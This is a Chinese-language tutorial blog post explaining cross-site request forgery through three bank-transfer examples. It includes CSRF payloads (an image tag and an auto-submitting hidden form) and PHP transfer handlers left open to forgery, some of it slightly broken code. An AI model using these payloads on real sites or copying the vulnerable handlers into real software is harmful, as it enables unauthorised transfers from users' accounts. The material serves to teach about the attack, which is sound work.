CSRF攻擊示例
阿新 • • 發佈：2020-09-19
示例1
銀行網站A，它以GET請求來完成銀行轉賬的操作，如：
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危險網站B，它裡面有一段HTML的程式碼如下：
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
首先，你登入了銀行網站A，然後訪問危險網站B，噢，這時你會發現你的銀行賬戶少了1000塊......
為什麼會這樣呢？原因是銀行網站A違反了HTTP規範，使用GET請求更新資源。 在訪問危險網站B的之前，你已經登入了銀行網站A，而B中 的<img>以GET的方式請求第三方資源（這裡的第三方就是指銀行網站了， 原本這是一個合法的請求，但這裡被不法分子利用了），所以你的瀏 覽器會帶上你的銀行網站A的Cookie發出Get請求， 去獲取資源“http://www.mybank.com /Transfer.php?toBankId=11&money=1000”， 結果銀行網站伺服器收到請求後，認為這是一個更新資源操作（轉賬 操作），所以就立刻進行轉賬操作......
示例2
為了杜絕上面的問題，銀行決定改用POST請求完成轉賬操作。
銀行網站A的WEB表單如下：
<form action="Transfer.php" method="POST"> <p>ToBankId: <input type="text" name="toBankId" /></p> <p>Money: <input type="text" name="money" /></p> <p><input type="submit" value="Transfer" /></p> </form>
後臺處理頁面Transfer.php如下：
<?php
session_start();
if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']))
{
buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);
}
?>
危險網站B，仍然只是包含那句HTML程式碼：
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
和示例1中的操作一樣，你首先登入了銀行網站A，然後訪問危險網站B，結果.....和示例1一樣，你再次沒了1000塊～T_T，
這次事故的 原因是：銀行後臺使用了_REQUEST既可以獲取GET請求的資料，也可以獲取POST請求的資料，
這就造成 了在後臺處理程式無法區分這到底是GET請求的資料還是POST請求的資料。
在PHP中，可以使用_POST分別獲取GET請求和POST 請求的資料。在JAVA中，用於獲取請求資料request一樣存在不能區分GET請求資料和POST資料的問題。
示例3
經過前面2個慘痛的教訓，銀行決定把獲取請求資料的方法也改了，改用$_POST，只獲取POST請求的資料，後臺處理頁面Transfer.php程式碼如下：
<?php
session_start();
if (isset($_POST['toBankId'] && isset($_POST['money']))
{
buy_stocks($_POST['toBankId'], $_POST['money']);
}
?>
然而，危險網站B與時俱進，它改了一下程式碼：
<html>
<head>
<script type="text/javascript">
function steal()
{
iframe = document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html>
如果使用者仍是繼續上面的操作，很不幸，結果將會是再次不見1000塊......因為這裡危險網站B暗地裡傳送了POST請求到銀行!
總結一下上面3個例子，CSRF主要的攻擊模式基本上是以上的3種，其中以第1,2種最為嚴重，因為觸發條件很簡單，一 個<img>就可以了，
而第3種比較麻煩，需要使用JavaScript，所以使用的機會會比前面的少很多，但無論是哪種情況，只要觸發了 CSRF攻擊，後果都有可能很嚴重。
理解上面的3種攻擊模式，其實可以看出，CSRF攻擊是源於WEB的隱式身份驗證機制！
WEB的身份驗證機制雖然可以保證一個請求是來自於某個使用者的瀏覽器，但卻無法保證該請求是使用者批准傳送的